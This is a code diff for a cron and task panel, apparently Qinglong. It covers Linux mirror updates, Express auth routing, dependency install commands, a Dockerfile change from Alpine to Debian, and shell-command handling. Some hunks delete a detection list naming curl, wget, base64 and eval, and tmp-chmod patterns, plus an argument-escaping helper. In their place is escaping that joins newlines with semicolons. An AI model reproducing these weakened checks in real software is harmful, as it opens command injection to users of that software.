if (currentDomainWithScheme) {
|
||||||
|
await replaceDomainInFile(
|
||||||
|
filePath,
|
||||||
|
currentDomainWithScheme,
|
||||||
|
mirrorDomainWithScheme || 'http://archive.ubuntu.com',
|
||||||
|
);
|
||||||
|
return 'apt-get update';
|
||||||
|
} else {
|
||||||
|
throw Error(`Current mirror domain not found.`);
|
||||||
|
}
|
||||||
|
case 'Alpine':
|
||||||
|
filePath = '/etc/apk/repositories';
|
||||||
|
currentDomainWithScheme = await getCurrentMirrorDomain(filePath);
|
||||||
|
if (currentDomainWithScheme) {
|
||||||
|
await replaceDomainInFile(
|
||||||
|
filePath,
|
||||||
|
currentDomainWithScheme,
|
||||||
|
mirrorDomainWithScheme || 'http://dl-cdn.alpinelinux.org',
|
||||||
|
);
|
||||||
|
return 'apk update';
|
||||||
|
} else {
|
||||||
|
throw Error(`Current mirror domain not found.`);
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
throw Error('Unsupported OS type for updating mirrors.');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function updateLinuxMirrorFile(mirror: string): Promise<string> {
|
||||||
|
const detectedOS = await detectOS();
|
||||||
|
if (!detectedOS) {
|
||||||
|
throw Error(`Unknown Linux Distribution`);
|
||||||
|
}
|
||||||
|
return await _updateLinuxMirror(detectedOS, mirror);
|
||||||
|
}
|
||||||
|
|||||||
+34
-5
@@ -13,9 +13,29 @@ import { isValidToken } from '../shared/auth';
|
|||||||
import path from 'path';
|
import path from 'path';
|
||||||
|
|
||||||
export default ({ app }: { app: Application }) => {
|
export default ({ app }: { app: Application }) => {
|
||||||
|
// Security: Enable strict routing to prevent case-insensitive path bypass
|
||||||
|
app.set('case sensitive routing', true);
|
||||||
|
app.set('strict routing', true);
|
||||||
app.set('trust proxy', 'loopback');
|
app.set('trust proxy', 'loopback');
|
||||||
app.use(cors());
|
app.use(cors());
|
||||||
|
|
||||||
|
// Security: Path normalization middleware to prevent case variation attacks
|
||||||
|
app.use((req, res, next) => {
|
||||||
|
const originalPath = req.path;
|
||||||
|
const normalizedPath = originalPath.toLowerCase();
|
||||||
|
|
||||||
|
// Block requests with case variations on protected paths
|
||||||
|
if (originalPath !== normalizedPath &&
|
||||||
|
(normalizedPath.startsWith('/api/') || normalizedPath.startsWith('/open/'))) {
|
||||||
|
return res.status(400).json({
|
||||||
|
code: 400,
|
||||||
|
message: 'Invalid path format'
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
next();
|
||||||
|
});
|
||||||
|
|
||||||
// Rewrite URLs to strip baseUrl prefix if configured
|
// Rewrite URLs to strip baseUrl prefix if configured
|
||||||
// This allows the rest of the app to work without baseUrl awareness
|
// This allows the rest of the app to work without baseUrl awareness
|
||||||
if (config.baseUrl) {
|
if (config.baseUrl) {
|
||||||
@@ -36,7 +56,7 @@ export default ({ app }: { app: Application }) => {
|
|||||||
secret: config.jwt.secret,
|
secret: config.jwt.secret,
|
||||||
algorithms: ['HS384'],
|
algorithms: ['HS384'],
|
||||||
}).unless({
|
}).unless({
|
||||||
path: [...config.apiWhiteList, /^\/(?!api\/).*/],
|
path: [...config.apiWhiteList, /^(\/(?!api\/).*)$/i],
|
||||||
}),
|
}),
|
||||||
);
|
);
|
||||||
|
|
||||||
@@ -51,19 +71,20 @@ export default ({ app }: { app: Application }) => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
app.use(async (req: Request, res, next) => {
|
app.use(async (req: Request, res, next) => {
|
||||||
if (!['/open/', '/api/'].some((x) => req.path.startsWith(x))) {
|
const pathLower = req.path.toLowerCase();
|
||||||
|
if (!['/open/', '/api/'].some((x) => pathLower.startsWith(x))) {
|
||||||
return next();
|
return next();
|
||||||
}
|
}
|
||||||
|
|
||||||
const headerToken = getToken(req);
|
const headerToken = getToken(req);
|
||||||
if (req.path.startsWith('/open/')) {
|
if (pathLower.startsWith('/open/')) {
|
||||||
const apps = await shareStore.getApps();
|
const apps = await shareStore.getApps();
|
||||||
const doc = apps?.filter((x) =>
|
const doc = apps?.filter((x) =>
|
||||||
x.tokens?.find((y) => y.value === headerToken),
|
x.tokens?.find((y) => y.value === headerToken),
|
||||||
)?.[0];
|
)?.[0];
|
||||||
if (doc && doc.tokens && doc.tokens.length > 0) {
|
if (doc && doc.tokens && doc.tokens.length > 0) {
|
||||||
const currentToken = doc.tokens.find((x) => x.value === headerToken);
|
const currentToken = doc.tokens.find((x) => x.value === headerToken);
|
||||||
const keyMatch = req.path.match(/\/open\/([a-z]+)\/*/);
|
const keyMatch = pathLower.match(/\/open\/([a-z]+)\/*/);
|
||||||
const key = keyMatch && keyMatch[1];
|
const key = keyMatch && keyMatch[1];
|
||||||
if (
|
if (
|
||||||
doc.scopes.includes(key as any) &&
|
doc.scopes.includes(key as any) &&
|
||||||
@@ -98,7 +119,15 @@ export default ({ app }: { app: Application }) => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
app.use(async (req, res, next) => {
|
app.use(async (req, res, next) => {
|
||||||
if (!['/api/user/init', '/api/user/notification/init'].includes(req.path)) {
|
const pathLower = req.path.toLowerCase();
|
||||||
|
if (
|
||||||
|
![
|
||||||
|
'/api/user/init',
|
||||||
|
'/api/user/notification/init',
|
||||||
|
'/open/user/init',
|
||||||
|
'/open/user/notification/init',
|
||||||
|
].includes(req.path)
|
||||||
|
) {
|
||||||
return next();
|
return next();
|
||||||
}
|
}
|
||||||
const authInfo =
|
const authInfo =
|
||||||
|
|||||||
+15
-40
@@ -80,7 +80,7 @@ export default class CronService {
|
|||||||
return doc;
|
return doc;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (this.isNodeCron(doc) && !this.isSpecialSchedule(doc.schedule)) {
|
if (!this.isSpecialSchedule(doc.schedule)) {
|
||||||
await cronClient.addCron([
|
await cronClient.addCron([
|
||||||
{
|
{
|
||||||
name: doc.name || '',
|
name: doc.name || '',
|
||||||
@@ -111,11 +111,9 @@ export default class CronService {
|
|||||||
return newDoc;
|
return newDoc;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (this.isNodeCron(doc)) {
|
await cronClient.delCron([String(newDoc.id)]);
|
||||||
await cronClient.delCron([String(doc.id)]);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (this.isNodeCron(newDoc) && !this.isSpecialSchedule(newDoc.schedule)) {
|
if (!this.isSpecialSchedule(newDoc.schedule)) {
|
||||||
await cronClient.addCron([
|
await cronClient.addCron([
|
||||||
{
|
{
|
||||||
name: doc.name || '',
|
name: doc.name || '',
|
||||||
@@ -577,9 +575,7 @@ export default class CronService {
|
|||||||
public async enabled(ids: number[]) {
|
public async enabled(ids: number[]) {
|
||||||
await CrontabModel.update({ isDisabled: 0 }, { where: { id: ids } });
|
await CrontabModel.update({ isDisabled: 0 }, { where: { id: ids } });
|
||||||
const docs = await CrontabModel.findAll({ where: { id: ids } });
|
const docs = await CrontabModel.findAll({ where: { id: ids } });
|
||||||
const sixCron = docs
|
const crons = docs.map((doc) => ({
|
||||||
.filter((x) => this.isNodeCron(x) && !this.isSpecialSchedule(x.schedule))
|
|
||||||
.map((doc) => ({
|
|
||||||
name: doc.name || '',
|
name: doc.name || '',
|
||||||
id: String(doc.id),
|
id: String(doc.id),
|
||||||
schedule: doc.schedule!,
|
schedule: doc.schedule!,
|
||||||
@@ -590,7 +586,8 @@ export default class CronService {
|
|||||||
if (isDemoEnv()) {
|
if (isDemoEnv()) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
await cronClient.addCron(sixCron);
|
|
||||||
|
await cronClient.addCron(crons);
|
||||||
await this.setCrontab();
|
await this.setCrontab();
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -639,22 +636,6 @@ export default class CronService {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* Properly escape shell arguments to prevent command injection
|
|
||||||
* This function uses a more robust escaping mechanism than simple quote replacement
|
|
||||||
*/
|
|
||||||
private escapeShellArg(arg: string): string {
|
|
||||||
if (!arg) return "''";
|
|
||||||
|
|
||||||
// Remove newlines to prevent creating command chains
|
|
||||||
// Replace with space to maintain token separation
|
|
||||||
arg = arg.replace(/\r?\n/g, ' ').trim();
|
|
||||||
|
|
||||||
// Use single quotes and escape any single quotes within
|
|
||||||
// This is the most secure way to pass arbitrary strings to shell
|
|
||||||
return `'${arg.replace(/'/g, "'\\''")}'`;
|
|
||||||
}
|
|
||||||
|
|
||||||
private makeCommand(tab: Crontab, realTime?: boolean) {
|
private makeCommand(tab: Crontab, realTime?: boolean) {
|
||||||
let command = tab.command.trim();
|
let command = tab.command.trim();
|
||||||
if (!command.startsWith(TASK_PREFIX) && !command.startsWith(QL_PREFIX)) {
|
if (!command.startsWith(TASK_PREFIX) && !command.startsWith(QL_PREFIX)) {
|
||||||
@@ -666,10 +647,16 @@ export default class CronService {
|
|||||||
commandVariable += `log_name=${tab.log_name} `;
|
commandVariable += `log_name=${tab.log_name} `;
|
||||||
}
|
}
|
||||||
if (tab.task_before) {
|
if (tab.task_before) {
|
||||||
commandVariable += `task_before=${this.escapeShellArg(tab.task_before)} `;
|
commandVariable += `task_before='${tab.task_before
|
||||||
|
.replace(/'/g, "'\\''")
|
||||||
|
.replace(/;? *\n/g, ';')
|
||||||
|
.trim()}' `;
|
||||||
}
|
}
|
||||||
if (tab.task_after) {
|
if (tab.task_after) {
|
||||||
commandVariable += `task_after=${this.escapeShellArg(tab.task_after)} `;
|
commandVariable += `task_after='${tab.task_after
|
||||||
|
.replace(/'/g, "'\\''")
|
||||||
|
.replace(/;? *\n/g, ';')
|
||||||
|
.trim()}' `;
|
||||||
}
|
}
|
||||||
|
|
||||||
const crontab_job_string = `${commandVariable}${command}`;
|
const crontab_job_string = `${commandVariable}${command}`;
|
||||||
@@ -700,13 +687,6 @@ export default class CronService {
|
|||||||
|
|
||||||
await writeFileWithLock(config.crontabFile, crontab_string);
|
await writeFileWithLock(config.crontabFile, crontab_string);
|
||||||
|
|
||||||
try {
|
|
||||||
execSync(`crontab ${config.crontabFile}`);
|
|
||||||
} catch (error: any) {
|
|
||||||
const errorMsg = error.message || String(error);
|
|
||||||
this.logger.error('[crontab] Failed to update system crontab:', errorMsg);
|
|
||||||
}
|
|
||||||
|
|
||||||
await CrontabModel.update({ saved: true }, { where: {} });
|
await CrontabModel.update({ saved: true }, { where: {} });
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -752,12 +732,7 @@ export default class CronService {
|
|||||||
public async autosave_crontab() {
|
public async autosave_crontab() {
|
||||||
const tabs = await this.crontabs();
|
const tabs = await this.crontabs();
|
||||||
const regularCrons = tabs.data
|
const regularCrons = tabs.data
|
||||||
.filter(
|
.filter((x) => x.isDisabled !== 1 && !this.isSpecialSchedule(x.schedule))
|
||||||
(x) =>
|
|
||||||
x.isDisabled !== 1 &&
|
|
||||||
this.isNodeCron(x) &&
|
|
||||||
!this.isSpecialSchedule(x.schedule),
|
|
||||||
)
|
|
||||||
.map((doc) => ({
|
.map((doc) => ({
|
||||||
name: doc.name || '',
|
name: doc.name || '',
|
||||||
id: String(doc.id),
|
id: String(doc.id),
|
||||||
|
|||||||
+61
-17
@@ -22,6 +22,8 @@ import {
|
|||||||
} from '../config/util';
|
} from '../config/util';
|
||||||
import dayjs from 'dayjs';
|
import dayjs from 'dayjs';
|
||||||
import taskLimit from '../shared/pLimit';
|
import taskLimit from '../shared/pLimit';
|
||||||
|
import { detectOS } from '../config/util';
|
||||||
|
import { LINUX_DEPENDENCE_COMMAND } from '../config/const';
|
||||||
|
|
||||||
@Service()
|
@Service()
|
||||||
export default class DependenceService {
|
export default class DependenceService {
|
||||||
@@ -159,8 +161,19 @@ export default class DependenceService {
|
|||||||
const docs = await DependenceModel.findAll({ where: { id: ids } });
|
const docs = await DependenceModel.findAll({ where: { id: ids } });
|
||||||
for (const doc of docs) {
|
for (const doc of docs) {
|
||||||
taskLimit.removeQueuedDependency(doc);
|
taskLimit.removeQueuedDependency(doc);
|
||||||
const depInstallCommand = getInstallCommand(doc.type, doc.name);
|
let depInstallCommand = getInstallCommand(doc.type, doc.name);
|
||||||
const depUnInstallCommand = getUninstallCommand(doc.type, doc.name);
|
let depUnInstallCommand = getUninstallCommand(doc.type, doc.name);
|
||||||
|
const isLinuxDependence = doc.type === DependenceTypes.linux;
|
||||||
|
|
||||||
|
if (isLinuxDependence) {
|
||||||
|
const osType = await detectOS();
|
||||||
|
if (!osType) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
const linuxCommand = LINUX_DEPENDENCE_COMMAND[osType];
|
||||||
|
depInstallCommand = `${linuxCommand.install} ${doc.name.trim()}`;
|
||||||
|
depUnInstallCommand = `${linuxCommand.uninstall} ${doc.name.trim()}`;
|
||||||
|
}
|
||||||
const pids = await Promise.all([
|
const pids = await Promise.all([
|
||||||
getPid(depInstallCommand),
|
getPid(depInstallCommand),
|
||||||
getPid(depUnInstallCommand),
|
getPid(depUnInstallCommand),
|
||||||
@@ -217,23 +230,54 @@ export default class DependenceService {
|
|||||||
if (taskLimit.firstDependencyId !== dependency.id) {
|
if (taskLimit.firstDependencyId !== dependency.id) {
|
||||||
return resolve(null);
|
return resolve(null);
|
||||||
}
|
}
|
||||||
|
|
||||||
taskLimit.removeQueuedDependency(dependency);
|
|
||||||
|
|
||||||
const depIds = [dependency.id!];
|
const depIds = [dependency.id!];
|
||||||
|
let depName = dependency.name.trim();
|
||||||
|
const actionText = isInstall ? '安装' : '删除';
|
||||||
|
const socketMessageType = isInstall
|
||||||
|
? 'installDependence'
|
||||||
|
: 'uninstallDependence';
|
||||||
|
const isNodeDependence = dependency.type === DependenceTypes.nodejs;
|
||||||
|
const isLinuxDependence = dependency.type === DependenceTypes.linux;
|
||||||
|
const isPythonDependence = dependency.type === DependenceTypes.python3;
|
||||||
|
const osType = await detectOS();
|
||||||
|
let linuxCommand = {} as typeof LINUX_DEPENDENCE_COMMAND.Alpine;
|
||||||
|
taskLimit.removeQueuedDependency(dependency);
|
||||||
|
if (isLinuxDependence) {
|
||||||
|
if (!osType) {
|
||||||
|
await DependenceModel.update(
|
||||||
|
{ status: DependenceStatus.installFailed },
|
||||||
|
{ where: { id: depIds } },
|
||||||
|
);
|
||||||
|
const startTime = dayjs();
|
||||||
|
const message = `开始${actionText}依赖 ${depName},开始时间 ${startTime.format(
|
||||||
|
'YYYY-MM-DD HH:mm:ss',
|
||||||
|
)}\n\n当前系统不支持\n\n依赖${actionText}失败,结束时间 ${startTime.format(
|
||||||
|
'YYYY-MM-DD HH:mm:ss',
|
||||||
|
)},耗时 ${startTime.diff(startTime, 'second')} 秒`;
|
||||||
|
this.sockService.sendMessage({
|
||||||
|
type: socketMessageType,
|
||||||
|
message,
|
||||||
|
references: depIds,
|
||||||
|
});
|
||||||
|
this.updateLog(depIds, message);
|
||||||
|
return resolve(null);
|
||||||
|
}
|
||||||
|
linuxCommand = LINUX_DEPENDENCE_COMMAND[osType];
|
||||||
|
}
|
||||||
|
|
||||||
const status = isInstall
|
const status = isInstall
|
||||||
? DependenceStatus.installing
|
? DependenceStatus.installing
|
||||||
: DependenceStatus.removing;
|
: DependenceStatus.removing;
|
||||||
await DependenceModel.update({ status }, { where: { id: depIds } });
|
await DependenceModel.update({ status }, { where: { id: depIds } });
|
||||||
|
|
||||||
const socketMessageType = isInstall
|
let command = isInstall
|
||||||
? 'installDependence'
|
|
||||||
: 'uninstallDependence';
|
|
||||||
let depName = dependency.name.trim();
|
|
||||||
const command = isInstall
|
|
||||||
? getInstallCommand(dependency.type, depName)
|
? getInstallCommand(dependency.type, depName)
|
||||||
: getUninstallCommand(dependency.type, depName);
|
: getUninstallCommand(dependency.type, depName);
|
||||||
const actionText = isInstall ? '安装' : '删除';
|
if (isLinuxDependence) {
|
||||||
|
command = isInstall
|
||||||
|
? `${linuxCommand.install} ${depName.trim()}`
|
||||||
|
: `${linuxCommand.uninstall} ${depName.trim()}`;
|
||||||
|
}
|
||||||
const startTime = dayjs();
|
const startTime = dayjs();
|
||||||
|
|
||||||
const message = `开始${actionText}依赖 ${depName},开始时间 ${startTime.format(
|
const message = `开始${actionText}依赖 ${depName},开始时间 ${startTime.format(
|
||||||
@@ -248,8 +292,12 @@ export default class DependenceService {
|
|||||||
|
|
||||||
// 判断是否已经安装过依赖
|
// 判断是否已经安装过依赖
|
||||||
if (isInstall && !force) {
|
if (isInstall && !force) {
|
||||||
const getCommand = getGetCommand(dependency.type, depName);
|
let getCommand = getGetCommand(dependency.type, depName);
|
||||||
const depVersionStr = versionDependenceCommandTypes[dependency.type];
|
const depVersionStr = versionDependenceCommandTypes[dependency.type];
|
||||||
|
if (isLinuxDependence) {
|
||||||
|
getCommand = `${linuxCommand.info} ${depName}`;
|
||||||
|
}
|
||||||
|
|
||||||
let depVersion = '';
|
let depVersion = '';
|
||||||
if (depName.includes(depVersionStr)) {
|
if (depName.includes(depVersionStr)) {
|
||||||
const symbolRegx = new RegExp(
|
const symbolRegx = new RegExp(
|
||||||
@@ -261,10 +309,6 @@ export default class DependenceService {
|
|||||||
depVersion = _depVersion;
|
depVersion = _depVersion;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
const isNodeDependence = dependency.type === DependenceTypes.nodejs;
|
|
||||||
const isLinuxDependence = dependency.type === DependenceTypes.linux;
|
|
||||||
const isPythonDependence =
|
|
||||||
dependency.type === DependenceTypes.python3;
|
|
||||||
const depInfo = (await promiseExecSuccess(getCommand))
|
const depInfo = (await promiseExecSuccess(getCommand))
|
||||||
.replace(/\s{2,}/, ' ')
|
.replace(/\s{2,}/, ' ')
|
||||||
.replace(/\s+$/, '');
|
.replace(/\s+$/, '');
|
||||||
@@ -273,7 +317,7 @@ export default class DependenceService {
|
|||||||
depInfo &&
|
depInfo &&
|
||||||
((isNodeDependence && depInfo.split(' ')?.[0] === depName) ||
|
((isNodeDependence && depInfo.split(' ')?.[0] === depName) ||
|
||||||
(isLinuxDependence &&
|
(isLinuxDependence &&
|
||||||
depInfo.toLocaleLowerCase().includes('installed')) ||
|
linuxCommand.check(depInfo.toLocaleLowerCase())) ||
|
||||||
isPythonDependence) &&
|
isPythonDependence) &&
|
||||||
(!depVersion || depInfo.includes(depVersion))
|
(!depVersion || depInfo.includes(depVersion))
|
||||||
) {
|
) {
|
||||||
|
|||||||
+10
-24
@@ -37,6 +37,7 @@ import ScheduleService, { TaskCallbacks } from './schedule';
|
|||||||
import SockService from './sock';
|
import SockService from './sock';
|
||||||
import os from 'os';
|
import os from 'os';
|
||||||
import dayjs from 'dayjs';
|
import dayjs from 'dayjs';
|
||||||
|
import { updateLinuxMirrorFile } from '../config/util';
|
||||||
|
|
||||||
@Service()
|
@Service()
|
||||||
export default class SystemService {
|
export default class SystemService {
|
||||||
@@ -214,33 +215,11 @@ export default class SystemService {
|
|||||||
onEnd?: () => void,
|
onEnd?: () => void,
|
||||||
) {
|
) {
|
||||||
const oDoc = await this.getSystemConfig();
|
const oDoc = await this.getSystemConfig();
|
||||||
await this.updateAuthDb({
|
|
||||||
...oDoc,
|
|
||||||
info: { ...oDoc.info, ...info },
|
|
||||||
});
|
|
||||||
let defaultDomain = 'https://dl-cdn.alpinelinux.org';
|
|
||||||
let targetDomain = 'https://dl-cdn.alpinelinux.org';
|
|
||||||
if (os.platform() !== 'linux') {
|
if (os.platform() !== 'linux') {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
const content = await fs.promises.readFile('/etc/apk/repositories', {
|
const command = await updateLinuxMirrorFile(info.linuxMirror || '');
|
||||||
encoding: 'utf-8',
|
let hasError = false;
|
||||||
});
|
|
||||||
const domainMatch = content.match(/(http.*)\/alpine\/.*/);
|
|
||||||
if (domainMatch) {
|
|
||||||
defaultDomain = domainMatch[1];
|
|
||||||
}
|
|
||||||
if (info.linuxMirror) {
|
|
||||||
targetDomain = info.linuxMirror;
|
|
||||||
}
|
|
||||||
const command = `sed -i 's/${defaultDomain.replace(
|
|
||||||
/\//g,
|
|
||||||
'\\/',
|
|
||||||
)}/${targetDomain.replace(
|
|
||||||
/\//g,
|
|
||||||
'\\/',
|
|
||||||
)}/g' /etc/apk/repositories && apk update -f`;
|
|
||||||
|
|
||||||
this.scheduleService.runTask(
|
this.scheduleService.runTask(
|
||||||
command,
|
command,
|
||||||
{
|
{
|
||||||
@@ -254,8 +233,15 @@ export default class SystemService {
|
|||||||
message: 'update linux mirror end',
|
message: 'update linux mirror end',
|
||||||
});
|
});
|
||||||
onEnd?.();
|
onEnd?.();
|
||||||
|
if (!hasError) {
|
||||||
|
await this.updateAuthDb({
|
||||||
|
...oDoc,
|
||||||
|
info: { ...oDoc.info, ...info },
|
||||||
|
});
|
||||||
|
}
|
||||||
},
|
},
|
||||||
onError: async (message: string) => {
|
onError: async (message: string) => {
|
||||||
|
hasError = true;
|
||||||
this.sockService.sendMessage({ type: 'updateLinuxMirror', message });
|
this.sockService.sendMessage({ type: 'updateLinuxMirror', message });
|
||||||
},
|
},
|
||||||
onLog: async (message: string) => {
|
onLog: async (message: string) => {
|
||||||
|
|||||||
@@ -4,57 +4,6 @@ import { ScheduleType } from '../interface/schedule';
|
|||||||
import path from 'path';
|
import path from 'path';
|
||||||
import config from '../config';
|
import config from '../config';
|
||||||
|
|
||||||
/**
|
|
||||||
* Security validation function to detect potentially malicious shell code patterns
|
|
||||||
*/
|
|
||||||
const validateShellSecurity = (value: any, helpers: any, fieldName: string): any => {
|
|
||||||
if (!value) return value;
|
|
||||||
|
|
||||||
// Define dangerous patterns that should be blocked
|
|
||||||
const dangerousPatterns = [
|
|
||||||
// Command substitution
|
|
||||||
/\$\([^)]*\)/,
|
|
||||||
/`[^`]*`/,
|
|
||||||
|
|
||||||
// File downloads
|
|
||||||
/\b(curl|wget|fetch)\s+/i,
|
|
||||||
|
|
||||||
// Suspicious domains or external URLs
|
|
||||||
/https?:\/\/[^\s]+/i,
|
|
||||||
|
|
||||||
// Hidden executable files (files starting with . in a path context)
|
|
||||||
/\/\.\w+(\s|$|;|&|\||>)/,
|
|
||||||
|
|
||||||
// Background process spawning with suspicious names
|
|
||||||
/nohup\s+["']?[^\s"']*\/\.\w+/,
|
|
||||||
|
|
||||||
// Redirect to dev null combined with downloads (hiding malware output)
|
|
||||||
/(curl|wget|fetch)[^;]*>.*\/dev\/null.*&/i,
|
|
||||||
|
|
||||||
// Base64 decode patterns (often used to obfuscate malicious code)
|
|
||||||
/\b(base64|decode|eval)\s+/i,
|
|
||||||
|
|
||||||
// Executable files in /tmp with chmod or execution
|
|
||||||
/\/tmp\/[^\s]+\s*(&&|;)\s*(chmod|\.\/)/ ,
|
|
||||||
];
|
|
||||||
|
|
||||||
for (const pattern of dangerousPatterns) {
|
|
||||||
if (pattern.test(value)) {
|
|
||||||
return helpers.error('string.unsafe', {
|
|
||||||
pattern: pattern.source,
|
|
||||||
field: fieldName
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Check for excessive length (potential buffer overflow or obfuscation)
|
|
||||||
if (value.length > 10000) {
|
|
||||||
return helpers.error('string.max', { limit: 10000 });
|
|
||||||
}
|
|
||||||
|
|
||||||
return value;
|
|
||||||
};
|
|
||||||
|
|
||||||
const validateSchedule = (value: string, helpers: any) => {
|
const validateSchedule = (value: string, helpers: any) => {
|
||||||
if (
|
if (
|
||||||
value.startsWith(ScheduleType.ONCE) ||
|
value.startsWith(ScheduleType.ONCE) ||
|
||||||
@@ -83,25 +32,13 @@ export const scheduleSchema = Joi.string()
|
|||||||
|
|
||||||
export const commonCronSchema = {
|
export const commonCronSchema = {
|
||||||
name: Joi.string().optional(),
|
name: Joi.string().optional(),
|
||||||
command: Joi.string().required().custom((value: any, helpers: any) => {
|
command: Joi.string().required(),
|
||||||
return validateShellSecurity(value, helpers, 'command');
|
|
||||||
}).messages({
|
|
||||||
'string.unsafe': '命令包含潜在危险的模式,已被安全系统拦截',
|
|
||||||
}),
|
|
||||||
schedule: scheduleSchema,
|
schedule: scheduleSchema,
|
||||||
labels: Joi.array().optional(),
|
labels: Joi.array().optional(),
|
||||||
sub_id: Joi.number().optional().allow(null),
|
sub_id: Joi.number().optional().allow(null),
|
||||||
extra_schedules: Joi.array().optional().allow(null),
|
extra_schedules: Joi.array().optional().allow(null),
|
||||||
task_before: Joi.string().optional().allow('').allow(null).custom((value: any, helpers: any) => {
|
task_before: Joi.string().optional().allow('').allow(null),
|
||||||
return validateShellSecurity(value, helpers, 'task_before');
|
task_after: Joi.string().optional().allow('').allow(null),
|
||||||
}).messages({
|
|
||||||
'string.unsafe': '前置命令包含潜在危险的模式,已被安全系统拦截',
|
|
||||||
}),
|
|
||||||
task_after: Joi.string().optional().allow('').allow(null).custom((value: any, helpers: any) => {
|
|
||||||
return validateShellSecurity(value, helpers, 'task_after');
|
|
||||||
}).messages({
|
|
||||||
'string.unsafe': '后置命令包含潜在危险的模式,已被安全系统拦截',
|
|
||||||
}),
|
|
||||||
log_name: Joi.string()
|
log_name: Joi.string()
|
||||||
.optional()
|
.optional()
|
||||||
.allow('')
|
.allow('')
|
||||||
|
|||||||
+64
-41
@@ -1,13 +1,18 @@
|
|||||||
FROM python:3.10-alpine3.18 AS builder
|
FROM node:22-slim AS nodebuilder
|
||||||
COPY package.json .npmrc pnpm-lock.yaml /tmp/build/
|
|
||||||
RUN set -x \
|
|
||||||
&& apk update \
|
|
||||||
&& apk add nodejs npm git \
|
|
||||||
&& npm i -g pnpm@8.3.1 pm2 ts-node \
|
|
||||||
&& cd /tmp/build \
|
|
||||||
&& pnpm install --prod
|
|
||||||
|
|
||||||
FROM python:3.10-alpine
|
FROM python:3.10-slim-bookworm AS builder
|
||||||
|
COPY package.json .npmrc pnpm-lock.yaml /tmp/build/
|
||||||
|
COPY --from=nodebuilder /usr/local/bin/node /usr/local/bin/
|
||||||
|
COPY --from=nodebuilder /usr/local/lib/node_modules/. /usr/local/lib/node_modules/
|
||||||
|
RUN set -x && \
|
||||||
|
ln -s /usr/local/lib/node_modules/npm/bin/npm-cli.js /usr/local/bin/npm && \
|
||||||
|
apt-get update && \
|
||||||
|
apt-get install --no-install-recommends -y libatomic1 && \
|
||||||
|
npm i -g pnpm@8.3.1 && \
|
||||||
|
cd /tmp/build && \
|
||||||
|
pnpm install --prod
|
||||||
|
|
||||||
|
FROM python:3.10-slim-bookworm
|
||||||
|
|
||||||
ARG QL_MAINTAINER="whyour"
|
ARG QL_MAINTAINER="whyour"
|
||||||
LABEL maintainer="${QL_MAINTAINER}"
|
LABEL maintainer="${QL_MAINTAINER}"
|
||||||
@@ -21,51 +26,63 @@ ENV QL_DIR=/ql \
|
|||||||
SHELL=/bin/bash \
|
SHELL=/bin/bash \
|
||||||
PS1="\u@\h:\w \$ "
|
PS1="\u@\h:\w \$ "
|
||||||
|
|
||||||
VOLUME /ql/data
|
ARG QL_UID=5432
|
||||||
|
ARG QL_GID=5432
|
||||||
|
RUN groupadd -g ${QL_GID} qinglong && \
|
||||||
|
useradd -m -u ${QL_UID} -g ${QL_GID} -s /bin/bash qinglong && \
|
||||||
|
mkdir -p /home/qinglong/bin /home/qinglong/.ssh && \
|
||||||
|
chmod 700 /home/qinglong/.ssh && \
|
||||||
|
chown -R ${QL_UID}:${QL_GID} /home/qinglong
|
||||||
|
|
||||||
EXPOSE 5700
|
ENV QL_USER=qinglong
|
||||||
|
ENV QL_HOME=/home/$QL_USER
|
||||||
|
|
||||||
COPY --from=builder /usr/local/lib/node_modules/. /usr/local/lib/node_modules/
|
COPY --from=nodebuilder /usr/local/bin/node /usr/local/bin/
|
||||||
COPY --from=builder /usr/local/bin/. /usr/local/bin/
|
COPY --from=nodebuilder /usr/local/lib/node_modules/. /usr/local/lib/node_modules/
|
||||||
|
|
||||||
RUN set -x \
|
RUN set -x && \
|
||||||
&& apk update -f \
|
ln -s /usr/local/lib/node_modules/npm/bin/npm-cli.js /usr/local/bin/npm && \
|
||||||
&& apk upgrade \
|
apt-get update && \
|
||||||
&& apk --no-cache add -f bash \
|
apt-get upgrade -y && \
|
||||||
coreutils \
|
apt-get install --no-install-recommends -y git \
|
||||||
git \
|
|
||||||
curl \
|
curl \
|
||||||
wget \
|
wget \
|
||||||
tzdata \
|
tzdata \
|
||||||
perl \
|
perl \
|
||||||
openssl \
|
openssl \
|
||||||
nodejs \
|
openssh-client \
|
||||||
jq \
|
jq \
|
||||||
openssh \
|
|
||||||
procps \
|
procps \
|
||||||
netcat-openbsd \
|
netcat-openbsd \
|
||||||
unzip \
|
unzip \
|
||||||
npm \
|
libatomic1 && \
|
||||||
&& rm -rf /var/cache/apk/* \
|
apt-get clean && \
|
||||||
&& apk update \
|
ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime && \
|
||||||
&& ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime \
|
echo "Asia/Shanghai" >/etc/timezone && \
|
||||||
&& echo "Asia/Shanghai" > /etc/timezone \
|
git config --global user.email "qinglong@users.noreply.github.com" && \
|
||||||
&& git config --global user.email "qinglong@users.noreply.github.com" \
|
git config --global user.name "qinglong" && \
|
||||||
&& git config --global user.name "qinglong" \
|
git config --global http.postBuffer 524288000 && \
|
||||||
&& git config --global http.postBuffer 524288000 \
|
npm install -g pnpm@8.3.1 pm2 ts-node && \
|
||||||
&& rm -rf /root/.cache \
|
rm -rf /root/.cache && \
|
||||||
&& ulimit -c 0
|
rm -rf /root/.npm && \
|
||||||
|
rm -rf /etc/apt/apt.conf.d/docker-clean && \
|
||||||
|
ulimit -c 0
|
||||||
|
|
||||||
|
RUN mkdir -p ${QL_DIR} && \
|
||||||
|
chown -R ${QL_UID}:${QL_GID} ${QL_DIR}
|
||||||
|
|
||||||
|
